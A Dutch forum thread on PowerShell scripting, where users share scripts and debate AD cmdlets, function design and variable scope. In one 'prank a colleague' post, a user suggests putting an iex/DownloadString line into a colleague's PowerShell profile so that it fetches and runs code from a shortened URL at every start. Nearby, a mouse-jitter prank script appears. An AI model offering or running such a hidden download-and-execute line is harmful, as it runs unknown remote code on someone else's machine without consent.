Het grote Powershell topic

Pagina: 1 ... 5 ... 10 Laatste
Acties:

Onderwerpen


Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
Waarom zou de Lync shell beter zijn?
Meestal is de "insert willekerig MS product" Shell, gewoon een Powershell window dat alvast van te voren wat modules voor je importeert en hooguit wat console settings aanpast (kleurtjes enzo).

Computer says no


Acties:
  • 0 Henk 'm!

  • wagenveld
  • Registratie: Februari 2002
  • Niet online
Ja goed, ik bedoel uiteraard gebruik de Lync PS cmdlets. Welke shell je het in doet maakt niet uit lijkt me.
De Lync cmdlets zijn slimmer aangezien die nog wat logische checks doen of het SIP domein wel verandert kan worden.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Meekoh schreef op maandag 30 november 2015 @ 11:40:
[...]

Waarom zou de Lync shell beter zijn?
Dat kan het verschil zijn tussen een supported wijziging of een niet-supported wijziging die dingen stuk maakt. In de applicatielaag zit vaak allerlei logica die meerdere zaken tot gevolg heeft, waaronder wijzigingen aan AD attributen. Niet in de laatste plaats bijvoorbeeld checken van de syntax of dat een waarde wel uniek is. In tegenstelling tot direct in AD wegschrijven waar die checks niet gedaan worden.

Van dit specifieke ding weet ik niet genoeg om het te kunnen beoordelen, maar met mijn Exchange-achtergrond kan ik verschillende voorbeelden noemen waarbij je absoluut de applicatie-interface zou moeten gebruiken.

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • Craven
  • Registratie: Februari 2007
  • Laatst online: 22:36
Jazzy schreef op maandag 30 november 2015 @ 12:29:
[...]
Dat kan het verschil zijn tussen een supported wijziging of een niet-supported wijziging die dingen stuk maakt. In de applicatielaag zit vaak allerlei logica die meerdere zaken tot gevolg heeft, waaronder wijzigingen aan AD attributen. Niet in de laatste plaats bijvoorbeeld checken van de syntax of dat een waarde wel uniek is. In tegenstelling tot direct in AD wegschrijven waar die checks niet gedaan worden.

Van dit specifieke ding weet ik niet genoeg om het te kunnen beoordelen, maar met mijn Exchange-achtergrond kan ik verschillende voorbeelden noemen waarbij je absoluut de applicatie-interface zou moeten gebruiken.
Ik mag toch hopen dat het aanroepen van de lync shell hetzelfde is als het importeren van de lync modules/snapins (welke het is maakt niet uit). Het hele voordeel van powershell is alle snapins en modules. Als MS daar nu weer van gaat afwijken door het op een speciale manier te benaderen/installeren zou ik echt ontzettend jammer vinden.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Ik dacht dat we het hadden over het gebruik van de Lync cmdlets (Set-CSUser) of het direct in AD wegschrijven (Set-ADUser/Set-ADObject).

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
Jazzy schreef op maandag 30 november 2015 @ 12:50:
Ik dacht dat we het hadden over het gebruik van de Lync cmdlets (Set-CSUser) of het direct in AD wegschrijven (Set-ADUser/Set-ADObject).
Nee Lync Shell vs Powershell Shell + Import-module.
Als het goed is is de Lync Shell gewoon een powershell shell met de lync modules alvast geimporteerd.
Althans dat is ook zo bij SQL/SCOM/VMM etc.

Computer says no


Acties:
  • 0 Henk 'm!

  • wagenveld
  • Registratie: Februari 2002
  • Niet online
Ben je nu serieus?

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Meekoh schreef op maandag 30 november 2015 @ 12:52:
[...]

Nee Lync Shell vs Powershell Shell + Import-module.
Killah_Priest en Ralpje adviseren om de wijziging met Set-ADUser of Set-ADObject te doen. Niet raar omdat Shadowman12 zelf al met de naam van het AD attribuut aankomt. Wagenveld adviseert om de Lync shell te gebruiken waarna Meekoh vraagt waarom dat beter is. Het antwoord daarom is dat je in de Lync shell een Lync cmdlet gebruikt waarmee de applicatie vervolgens aanpassingen gaat doen, waaronder het wegschrijven van een wijziging in het AD attribuut.

Het verschil is dus dat je bij de eerste methode direct tegen AD praat, bij de tweede tegen Lync. Op welke manier je die cmdlets beschikbaar maakt in de console ging het niet over, ik denk dat daar jouw verwarring vandaan komt.

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Jazzy schreef op maandag 30 november 2015 @ 12:58:
[...]

Killah_Priest en Ralpje adviseren om de wijziging met Set-ADUser of Set-ADObject te doen. Niet raar omdat Shadowman12 zelf al met de naam van het AD attribuut aankomt. Wagenveld adviseert om de Lync shell te gebruiken waarna Meekoh vraagt waarom dat beter is. Het antwoord daarom is dat je in de Lync shell een Lync cmdlet gebruikt waarmee de applicatie vervolgens aanpassingen gaat doen, waaronder het wegschrijven van een wijziging in het AD attribuut.

Het verschil is dus dat je bij de eerste methode direct tegen AD praat, bij de tweede tegen Lync. Op welke manier je die cmdlets beschikbaar maakt in de console ging het niet over, ik denk dat daar jouw verwarring vandaan komt.
Hier heb je gelijk in ; ik weet dat bv bij Exchange het geen zak uitmaakt of ik nou de proxyAddressess via AD of via Exchange inject (wel goed opletten op de correcte syntax met smtp: ervoor) : andere properties daar ben ik niet zo zeker van.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Killah_Priest schreef op maandag 30 november 2015 @ 14:02:
[...]


Hier heb je gelijk in ; ik weet dat bv bij Exchange het geen zak uitmaakt of ik nou de proxyAddressess via AD of via Exchange inject (wel goed opletten op de correcte syntax met smtp: ervoor)
Niet alleen de syntax met smtp: of SMTP: ervoor maar bijvoorbeeld ook of het mailadres wel als accepted domain is ingesteld, of er een duplicaat is, etc. Het maakt dus wel een zak uit. :)

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Jazzy schreef op maandag 30 november 2015 @ 14:13:
[...]

Niet alleen de syntax met smtp: of SMTP: ervoor maar bijvoorbeeld ook of het mailadres wel als accepted domain is ingesteld, of er een duplicaat is, etc. Het maakt dus wel een zak uit. :)
Ik weet het : assumption is the mother of all fuckups : maar over het algemeen ga ik er wel vanuit dat als iemand specifiek vraagt hoe je een bepaald AD attribuut moet updaten hij/zij toch wel zijn/haar huiswerk gedaan heeft (in de praktijk is dit helaas vaak niet het geval).
De enkele keer dat ik ervoor koos om bv rechtstreeks via AD een entry aan de proxyadresses toe te voegen heb ik eerst gecontroleerd of het wel een accepted domain was, er geen duplicates waren etc.
Uiteraard doe ik dit bij voorkeur vanaf de Exchange server.

Acties:
  • 0 Henk 'm!

  • Jazzy
  • Registratie: Juni 2000
  • Laatst online: 22:41

Jazzy

Moderator SSC/PB

Moooooh!

Nou ja, goede discussie in ieder geval.

Exchange en Office 365 specialist. Mijn blog.


Acties:
  • 0 Henk 'm!

Verwijderd

/me heeft ook weer een PowerShell script gemaakt dat zwaar leunt op de .NET Framework Class Library

Gebruik: Get-Hash.ps1 -InputText "John Doe" -HashType MD5 of Get-Hash.ps1 -InputText "John Doe" of "John Doe" | Get-Hash.ps1 of "John Doe" | Get-Hash.ps1 -HashType SHA1

Wat wel aardig is voor degenen die hier nog niet zo mee bekend zijn, kijk naar het gebruik van non-static classes en methods (New-Object) vs static classes en methods (bijv. [System.Security.Cryptography.MD5]::Create())

Disclamer: Er zijn meer wegen naar Rome, dit is er een van ;)


PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Get-Hash.ps1
# Author: Stacheldraht
# Version: 1.0 - 2015-12-03
# ---------------------------------------------------------
[CmdLetBinding()]
Param(
    [Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelinebyPropertyName=$True)]
    [string[]]$InputText,
    [ValidateSet("MD5","SHA1","SHA256")]
    [string]$HashType = "SHA256"
)

Function UTF8{
    $UtfObject = New-Object -TypeName System.Text.UTF8Encoding 
    $global:GetBytes = $UtfObject.GetBytes($InputText)
}

Function HashOutput{
    $StringBuilder = New-Object -TypeName System.Text.StringBuilder
        For($Init = 0; $Init -lt $ComputeHash.Length; $Init++){
            $Hash = $StringBuilder.Append($ComputeHash[$Init].ToString("X2"))
        }
    Write-Output ("Text: " + $InputText)
    Write-Output ("Type: " + $HashType)
    Write-Output ("Hash: " + $Hash.ToString())
}

Switch($HashType){
    MD5{
        UTF8
        $MD5Obj = [System.Security.Cryptography.MD5]::Create()
        $ComputeHash = $MD5Obj.ComputeHash($GetBytes)  
        HashOutput 
        Break
    }
    SHA1{
        UTF8
        $SHA1Obj = [System.Security.Cryptography.SHA1]::Create()
        $ComputeHash = $SHA1Obj.ComputeHash($GetBytes) 
        HashOutput 
        Break
    }
    SHA256{
        UTF8
        $SHA256Obj = [System.Security.Cryptography.SHA256]::Create()
        $ComputeHash = $SHA256Obj.ComputeHash($GetBytes) 
        HashOutput 
        Break
    }
    Default{
        "Something else happened!!!"
        Break
    }
}

Acties:
  • 0 Henk 'm!

Verwijderd

Vandaag maar eens een scriptje gebakken om te beheren servers vanuit AD in Remote Desktop Connection Manager (https://www.microsoft.com...oad/details.aspx?id=44989) te importeren.

Disclamer: Er zijn meer wegen naar Rome, dit is er een van ;)

code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Import-RDCM.ps1
# Author: Stacheldraht
# Version: 1.0 - 2015-12-15
# ---------------------------------------------------------

$DistinguishedNames = @("OU=Domain Controllers,DC=campus,DC=foo,DC=nl","OU=Servers,DC=campus,DC=foo,DC=nl")
$OutputDirectory = "C:\Temp\"
$OutputExtension = ".txt"

$Counter = 0

ForEach ($DistinguishedName In $DistinguishedNames){
    (Get-ADComputer -Filter * -SearchBase $DistinguishedName).DNSHostName.ToLower() | Sort-Object | Out-File -FilePath ($OutputDirectory + (($DistinguishedNames[$Counter]) -split ',')[0].Substring(3) + $OutputExtension)
    $Counter++
}

Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Omdat collegatje plagen een beetje standaard is bij ITers (zolang je geen schadelijke dingen doet) heb ik het volgende scriptje gemaakt waar ik eerdaags een collega mee in de maling ga nemen.
Bij het bewegen van de muis worden de posities van en naar met elkaar vergeleken : bij dit verschil worden dan random tussen de -5 en +5 pixels op zowel de X als Y as opgeteld : kortom, je muist wordt onnauwkeurig, net alsof je muis stuk is of de batterij bijna leeg is :P

(en nogmaals : collega plagen moet kunnen, het moet echter geen structureel pesten worden uiteraard)

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Function GetCurrentPosition
    {
    $pos = [System.Windows.Forms.Cursor]::Position
    $CurPoint = [System.Drawing.Point]::new($pos.X,$pos.Y)
    return $CurPoint
    }

    # Invert the Mouse
Function Global:ErraticMouse
    {
    while ($x -eq $x)
        {
        $CurrentPosition = GetCurrentPosition
        Start-Sleep -Milliseconds 1
        $NewPosition = GetCurrentPosition
        $Diff = $NewPosition - $CurrentPosition
        # Ensure erratic mouse is only triggered when the mouse is actually moved
        if (!$Diff.IsEmpty)
            {
            $Difference = [System.Drawing.Point]::new(0,0)
            $Difference.X = Get-Random -Minimum -5 -Maximum 5
            $Difference.Y = Get-Random -Minimum -5 -Maximum 5
            [System.Windows.Forms.Cursor]::Position = $NewPosition + $Difference
            }

        }
    }

ErraticMouse

Acties:
  • 0 Henk 'm!

  • ge-flopt
  • Registratie: Februari 2001
  • Laatst online: 09:43
Is dat niet een beetje gevaarlijk? Als hij op cancel wil drukken omdat een gedeelte van de AD toch niet weggegooid mag worden en hij schiet naar ok?

Acties:
  • +1 Henk 'm!

  • Thijs B
  • Registratie: Augustus 1999
  • Niet online
Killah_Priest schreef op dinsdag 15 december 2015 @ 13:23:
Omdat collegatje plagen een beetje standaard is bij ITers (zolang je geen schadelijke dingen doet) heb ik het volgende scriptje gemaakt waar ik eerdaags een collega mee in de maling ga nemen.
Bij het bewegen van de muis worden de posities van en naar met elkaar vergeleken : bij dit verschil worden dan random tussen de -5 en +5 pixels op zowel de X als Y as opgeteld : kortom, je muist wordt onnauwkeurig, net alsof je muis stuk is of de batterij bijna leeg is :P

(en nogmaals : collega plagen moet kunnen, het moet echter geen structureel pesten worden uiteraard)
Als ik die collega van je was zou ik direct een OU wegflikkeren en dan jou de schuld geven, verkeerde muisklik omdat iemand mijn muis zat te hacken :)

He maar je kan dus met dat script remote inloggen en dan bij de aangemelde user de muis beinvloeden?
Kan je ook een popup met tekst bij de user op die manier tonen?, dat kan dan wel eens handig zijn.

Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
Thijs B schreef op dinsdag 15 december 2015 @ 15:00:
[...]
Kan je ook een popup met tekst bij de user op die manier tonen?, dat kan dan wel eens handig zijn.
Ja dat heet NET SEND :+

Computer says no


Acties:
  • 0 Henk 'm!

  • Thijs B
  • Registratie: Augustus 1999
  • Niet online
ja dat ken ik ook wel maar net send werkt niet altijd goed

Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
Thijs B schreef op dinsdag 15 december 2015 @ 15:37:
ja dat ken ik ook wel maar net send werkt niet altijd goed
Opzich werkt het altijd, zolang het bij verzender en ontvanger correct geconfigureerd is.
Popups remote laten verschijnen met powershell kan ook wel: klik
Mits je de nodige rechten hebt en psremoting aan staat.

edit:

En in de categorie "Collega pesten" is dit ook een leuke:
Zet de volgende regel code in zijn Powershell Profile (C:\users\pietje\Documents\WindowsPowerShell\profile.ps1). De code daarin wordt iedere keer uitgevoerd als Powershell door deze gebruiker wordt gestart. (let wel op dat zijn executionpolicy op zijn minst remotesigned is)
code:
1
iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")


Hij krijgt dan een leuk schermpje als hij PowerShell start :+ (zorg dat zijn geluid aan staat!)

[ Voor 38% gewijzigd door Meekoh op 15-12-2015 16:22 ]

Computer says no


Verwijderd

Zo vandaag maar even een eigen tcp poort test tool in Powershell geschreven :) Handig op systemen waar bijv. geen Telnet of PortQuery aanwezig is. Overigens in PowerShell 4.0 bestaat hiervoor het commando: Test-NetConnection

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Test-TcpPort.ps1
# Author: Stacheldraht
# Version: 1.0 - 2015-12-17
# ---------------------------------------------------------
[CmdletBinding()]
Param(
    [Parameter(Mandatory=$True)]
    [string]$TargetHost,
    [Parameter(Mandatory=$True)]
    [int]$TargetPort
)

Function OpenCon{
    $Script:TcpClient = New-Object -TypeName System.Net.Sockets.TcpClient
    $TcpClient.Connect($TargetHost,$TargetPort)
}

Function CloseCon{
    $TcpClient.Close()
}

Function ScreenOut{
    Write-Output ("Target Host: " + $TargetHost)
    Write-Output ("Target Port: " + $TargetPort)
    Write-Output ("Connected: " + $TcpClient.Connected)
}

Try{
    OpenCon
    ScreenOut
}

Catch{
    ScreenOut
}

Finally{
    CloseCon
}

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Verwijderd schreef op donderdag 03 december 2015 @ 12:44:
/me heeft ook weer een PowerShell script gemaakt dat zwaar leunt op de .NET Framework Class Library

Gebruik: Get-Hash.ps1 -InputText "John Doe" -HashType MD5 of Get-Hash.ps1 -InputText "John Doe" of "John Doe" | Get-Hash.ps1 of "John Doe" | Get-Hash.ps1 -HashType SHA1

Wat wel aardig is voor degenen die hier nog niet zo mee bekend zijn, kijk naar het gebruik van non-static classes en methods (New-Object) vs static classes en methods (bijv. [System.Security.Cryptography.MD5]::Create())

Disclamer: Er zijn meer wegen naar Rome, dit is er een van ;)


PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Get-Hash.ps1
# Author: Stacheldraht
# Version: 1.0 - 2015-12-03
# ---------------------------------------------------------
[CmdLetBinding()]
Param(
    [Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelinebyPropertyName=$True)]
    [string[]]$InputText,
    [ValidateSet("MD5","SHA1","SHA256")]
    [string]$HashType = "SHA256"
)

Function UTF8{
    $UtfObject = New-Object -TypeName System.Text.UTF8Encoding 
    $global:GetBytes = $UtfObject.GetBytes($InputText)
}

Function HashOutput{
    $StringBuilder = New-Object -TypeName System.Text.StringBuilder
        For($Init = 0; $Init -lt $ComputeHash.Length; $Init++){
            $Hash = $StringBuilder.Append($ComputeHash[$Init].ToString("X2"))
        }
    Write-Output ("Text: " + $InputText)
    Write-Output ("Type: " + $HashType)
    Write-Output ("Hash: " + $Hash.ToString())
}

Switch($HashType){
    MD5{
        UTF8
        $MD5Obj = [System.Security.Cryptography.MD5]::Create()
        $ComputeHash = $MD5Obj.ComputeHash($GetBytes)  
        HashOutput 
        Break
    }
    SHA1{
        UTF8
        $SHA1Obj = [System.Security.Cryptography.SHA1]::Create()
        $ComputeHash = $SHA1Obj.ComputeHash($GetBytes) 
        HashOutput 
        Break
    }
    SHA256{
        UTF8
        $SHA256Obj = [System.Security.Cryptography.SHA256]::Create()
        $ComputeHash = $SHA256Obj.ComputeHash($GetBytes) 
        HashOutput 
        Break
    }
    Default{
        "Something else happened!!!"
        Break
    }
}
Niet negatief bedoeld, maar naarmate ik er langer naar kijk zie ik er meer fouten in, en zaken die netter kunnen. Gewoon een opsomming:
  • Je accepteert in regel 8 een string array, maar de GetBytes() method in regel 15 accepteert geen arrays, en voegt spaties toe. Da's een echte bug die het hele script onbruikbaar maakt. Het gevolg is dat de hash van -inputtext 'abc','def' identiek is aan die van -inputtext 'abc def'.
  • De UTF8 functie introduceert een Global:GetBytes variabele terwijl je ook gewoon Return kunt gebruiken om netjes een waarde terug te geven.
  • Je gebruikt je functies sowieso heel slecht. Het lijken nu meer een soort macro's en dat leidt zelfs in dit scriptje al tot spaghetti-code, wat je dan weer "oplost" door een Global variabele te gebruiken.
  • Je gebruikt Break aan het einde van elke stap in het Switch statement. Niet nodig. PS is geen C.
  • Je gebruikt het Default statement aan het einde van de Switch. Waarom? Je hebt in regels 9 en 10 al input validatie gedaan, ben je bang dat die variabelen daarna spontaan nog veranderen?
Met wat langer zoeken vind ik misschien wel meer issues.

Verwijderd

downtime schreef op donderdag 17 december 2015 @ 15:30:
[...]

Niet negatief bedoeld, maar naarmate ik er langer naar kijk zie ik er meer fouten in, en zaken die netter kunnen. Gewoon een opsomming:
  • Je accepteert in regel 8 een string array, maar de GetBytes() method in regel 15 accepteert geen arrays, en voegt spaties toe. Da's een echte bug die het hele script onbruikbaar maakt. Het gevolg is dat de hash van -inputtext 'abc','def' identiek is aan die van -inputtext 'abc def'.
  • De UTF8 functie introduceert een Global:GetBytes variabele terwijl je ook gewoon Return kunt gebruiken om netjes een waarde terug te geven.
  • Je gebruikt je functies sowieso heel slecht. Het lijken nu meer een soort macro's en dat leidt zelfs in dit scriptje al tot spaghetti-code, wat je dan weer "oplost" door een Global variabele te gebruiken.
  • Je gebruikt Break aan het einde van elke stap in het Switch statement. Niet nodig. PS is geen C.
  • Je gebruikt het Default statement aan het einde van de Switch. Waarom? Je hebt in regels 9 en 10 al input validatie gedaan, ben je bang dat die variabelen daarna spontaan nog veranderen?
Met wat langer zoeken vind ik misschien wel meer issues.
@downtime :)

Opmerking 1: mee eens
Opmerking 2: mee eens
Opmerking 3: niet mee eens (Functions: A block of code may be contained within a function for easy re-use. Dat is ook wat ik daadwerkelijk doe, ik zie er geen spaghetti code in).
Opmerking 4: niet mee eens (Het is in dit geval niet nodig, maar kwaad kan het ook niet. Het weglaten van break doet vaak meer kwaad in scripts).
Opmerking 5: niet mee eens (Hetzelfde eigenlijk als met opmerking 4).

Conclusie: met opmerking 1 en 2 ben ik het helemaal eens. Opmerking 3 t/m 5 gaat meer over coding style en op dat punt kan ik me niet in je kritiek vinden.

  • downtime
  • Registratie: Januari 2000
  • Niet online

downtime

Everybody lies

Verwijderd schreef op donderdag 17 december 2015 @ 17:13:
@downtime :)

Opmerking 1: mee eens
Opmerking 2: mee eens
Opmerking 3: niet mee eens (Functions: A block of code may be contained within a function for easy re-use. Dat is ook wat ik daadwerkelijk doe, ik zie er geen spaghetti code in).
Opmerking 4: niet mee eens (Het is in dit geval niet nodig, maar kwaad kan het ook niet. Het weglaten van break doet vaak meer kwaad in scripts).
Opmerking 5: niet mee eens (Hetzelfde eigenlijk als met opmerking 4).

Conclusie: met opmerking 1 en 2 ben ik het helemaal eens. Opmerking 3 t/m 5 gaat meer over coding style en op dat punt kan ik me niet in je kritiek vinden.
Punt 4 en 5 gun ik je. Maar opmerking 3 heeft niet veel met coding style te maken. Ik denk dat je het stukje wat je daar quote niet goed begrijpt.

Bij functies draait het om isoleren van code, die je in andere scripts kunt hergebruiken, in blokken met duidelijk omschreven in- en output, ofwel parameters en return values.
De bedoeling is dat je een zelfstandig stuk code hebt, wat geen directe afhankelijkheden met de script van je script heeft, afgezien van de afhankelijkheden die expliciet in parameters en return values bepaald zijn, zodat je niet het hele script hoeft te begrijpen om te weten wat dat stukje code doet.

Als ik in jouw script een functie als HashOutput zie, zonder parameters en zonder return value, moet ik jouw hele script doorlezen om te snappen wat al die variabelen doen en hoe de interactie met de rest van jouw script is. En als ik die functie wil hergebruiken (in een ander script) dan moet ik weer het hele script door om alle code mee te nemen die daarvoor nodig is. Dat bedoel ik met spaghetti-code. Alles is afhankelijk van alles, en je kunt niet zomaar een blok code eruit pakken en het hergebruiken in een ander script.

Natuurlijk is hergebruik van code vaak sowieso lastig, omdat je functies vaak op maat maakt voor een bepaald script, en dan in andere scripts toch net weer wat anders wilt, maar zelfs als je maar één script hebt, maakt het gebruik van correcte functies het mogelijk om dat script in blokken te hakken die allemaal een duidelijke functie hebben. Voor zo'n kort script als het jouwe maakt dat niet zoveel uit, maar als je scripts gaat bouwen met meer dan 1000 regels, heb je dat hard nodig om te blijven begrijpen hoe het geheel in elkaar zit.

  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
Verwijderd schreef op donderdag 17 december 2015 @ 17:13:
[...]


@downtime :)

Opmerking 1: mee eens
Opmerking 2: mee eens
Opmerking 3: niet mee eens (Functions: A block of code may be contained within a function for easy re-use. Dat is ook wat ik daadwerkelijk doe, ik zie er geen spaghetti code in).
Opmerking 4: niet mee eens (Het is in dit geval niet nodig, maar kwaad kan het ook niet. Het weglaten van break doet vaak meer kwaad in scripts).
Opmerking 5: niet mee eens (Hetzelfde eigenlijk als met opmerking 4).

Conclusie: met opmerking 1 en 2 ben ik het helemaal eens. Opmerking 3 t/m 5 gaat meer over coding style en op dat punt kan ik me niet in je kritiek vinden.
Wat 4 betreft: de break staat daar goed. Best practice is een break te zetten in een switch indien er slechts één juist resultaat is - en dat is hier ook het geval.

Wat 5 betreft: ook hier ben ik akkoord dat die default daar mag staan, al heeft downtown natuurlijk gelijk als hij zegt dat de validatie al gedaan is en dat dit eigenlijk een onmogelijke situatie is. Maar kwaad kan het zeker en vast niet.

Maar wat 4 betreft heeft downtime zeker en vast gelijk dat je functies daar slecht gebruikt en, erger, globale variabelen misbruikt. Vergelijk met deze snelle aangepaste versie:

PowerShell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[CmdLetBinding()]
Param(
    [Parameter(Mandatory=$True,ValueFromPipeline=$True,ValueFromPipelinebyPropertyName=$True)][string]$InputText,
    [ValidateSet("MD5","SHA1","SHA256")][string]$HashType = "SHA256"
    )

Function UTF8 ($x)
    {
    $UTFObject = New-Object -TypeName System.Text.UTF8Encoding 
    Return $UTFObject.GetBytes($x)
    }

Function HashOutput ($a, $b, $c)
    {
    $StringBuilder = New-Object -TypeName System.Text.StringBuilder
        For($Init = 0; $Init -LT $ComputeHash.Length; $Init++)
            {
            $c = $StringBuilder.Append($ComputeHash[$Init].ToString("X2"))
            }
    Write-Output ("Text: " + $a)
    Write-Output ("Type: " + $b)
    Write-Output ("Hash: " + $c.ToString())
    }

Switch($HashType)
    {
    MD5{
        $MD5Obj = [System.Security.Cryptography.MD5]::Create()
        $ComputeHash = $MD5Obj.ComputeHash((UTF8 $InputText))  
        HashOutput $InputText $HashType $Hash
        }
    SHA1{
        $SHA1Obj = [System.Security.Cryptography.SHA1]::Create()
        $ComputeHash = $SHA1Obj.ComputeHash((UTF8 $InputText))
        HashOutput $InputText $HashType $Hash
        }
    SHA256{
        $SHA256Obj = [System.Security.Cryptography.SHA256]::Create()
        $ComputeHash = $SHA256Obj.ComputeHash((UTF8 $InputText)) 
        HashOutput $InputText $HashType $Hash
        }
    Default {"Something else happened!!!"}
    }


Mijn formatting is iets anders en ik had weinig inspiratie voor variabelen, maar je ziet het verschil wel in hoe ik de functies gebruik en dat zonder een globale variabele. Als je vindt dat eerdervermelde break en default veiliger zijn - wat ook klopt - moet je toegeven dat een globale variabele pas een risico op ongelukken is. Dat script zal maar eens als functie gebruikt worden in een groter script en door een of andere fout heb je ineens een hele hoop mensen met dezelfde hash ;)

Bemerk trouwens dat ik in de twee functies andere mogelijkheden gebruikt heb

Acties:
  • 0 Henk 'm!

Verwijderd

Die globaal had script moeten zijn. Goed ik ben me nu bewust dat ik eigenlijk geen powershell functies moet gebruiken op de manier zoals ik dat doe.

Dus daar zal ik niet meer doen, al vind ik het van de zotte dat ik sommige stukken code dan dubbel in mijn scripts moet zetten.

Acties:
  • 0 Henk 'm!

  • Killah_Priest
  • Registratie: Augustus 2001
  • Laatst online: 17:20
Verwijderd schreef op vrijdag 18 december 2015 @ 08:05:
Die globaal had script moeten zijn. Goed ik ben me nu bewust dat ik eigenlijk geen powershell functies moet gebruiken op de manier zoals ik dat doe.

Dus daar zal ik niet meer doen, al vind ik het van de zotte dat ik sommige stukken code dan dubbel in mijn scripts moet zetten.
Ik zou mij hier niet zo druk om maken hoor.
Even over de bovenstaande opmerkingen : waarom MOET altijd alles volgens best practice? Als ik even snel een script in elkaar zet voor eenmalig gebruik dan ga ik ECHT niet alles in try/catch blokken gooien, scopes van de variables en functies goedzetten etc.
Als je een robuust script moet maken welke gescheduled wordt en iedere dag in productie draait : Ja, dan hou ik mij ook aan de best practices, maar de dingen die ik even snel in elkaar zet dus echt niet. Zolang het werkt en ik de verwachte output krijg dan is het voor mij klaar.
downtime schreef op donderdag 17 december 2015 @ 15:30:
[...]

Niet negatief bedoeld, maar naarmate ik er langer naar kijk zie ik er meer fouten in, en zaken die netter kunnen. Gewoon een opsomming:
Als een zin begint met "niet negatief bedoeld" dan is het ALTIJD negatief bedoeld.
Als ik een zin begin met "niet lullig bedoeld" dan bedoel ik het juist WEL lullig, zo simpel is dat.
Ik val je hier overigens niet op aan hoor : ik zeg dingen gewoon zoals ze zijn :)

[ Voor 21% gewijzigd door Killah_Priest op 18-12-2015 11:27 ]


Acties:
  • 0 Henk 'm!

  • Meekoh
  • Registratie: April 2005
  • Laatst online: 10:05
Verwijderd schreef op vrijdag 18 december 2015 @ 08:05:
Die globaal had script moeten zijn. Goed ik ben me nu bewust dat ik eigenlijk geen powershell functies moet gebruiken op de manier zoals ik dat doe.

Dus daar zal ik niet meer doen, al vind ik het van de zotte dat ik sommige stukken code dan dubbel in mijn scripts moet zetten.
Dan nog zou ik bijna zeggen maak 1 functie of zelfs maar 1 script die parameter sets accepteerd.
Dan heb je alsnog je code op 1 plek, alleen aan de hand van de parameter set bepaal je wat er uitgevoerd wordt.
Maargoed voor quick en dirty dingen vermijd ik meestal functies. Copy/paste is sneller :9

Computer says no


Acties:
  • 0 Henk 'm!

  • YellowOnline
  • Registratie: Januari 2005
  • Laatst online: 28-03-2023

YellowOnline

BEATI PAVPERES SPIRITV

Topicstarter
Killah_Priest schreef op vrijdag 18 december 2015 @ 11:25:
[...]


Ik zou mij hier niet zo druk om maken hoor.
Even over de bovenstaande opmerkingen : waarom MOET altijd alles volgens best practice? Als ik even snel een script in elkaar zet voor eenmalig gebruik dan ga ik ECHT niet alles in try/catch blokken gooien, scopes van de variables en functies goedzetten etc.
Als je een robuust script moet maken welke gescheduled wordt en iedere dag in productie draait : Ja, dan hou ik mij ook aan de best practices, maar de dingen die ik even snel in elkaar zet dus echt niet. Zolang het werkt en ik de verwachte output krijg dan is het voor mij klaar.
Error-catching, akkoord, maar de variabel scope is altijd belangrijk, zelfs in een temp knutselwerkje. Anders ben je niet zeker of je verwachte output wel klopt - het kan er goed uitzien maar het niet zijn, tenslotte. Het simpelste voorbeeld dat ik kan bedenken:

Zonder Global Variable
PowerShell:
1
2
3
4
5
6
Function foobar ($x, $y)
    {
    If (!$y) {$z = $x.Length}
    Else {}
    Return $z
    }


Output
code:
1
2
3
PS H:\> foobar yellow
6
PS H:\> foobar yellow online


Met Global Variable
PowerShell:
1
2
3
4
5
6
Function foobar ($x, $y)
    {
    If (!$y) {$global:z = $x.Length}
    Else {}
    Return $z
    }


Output
code:
1
2
3
4
PS H:\> foobar yellow
6
PS H:\> foobar yellow online
6


Stel je dat gecompliceerder voor natuurlijk. In #2 is het niet duidelijk dan dat die output niet klopt door die globale variabele.

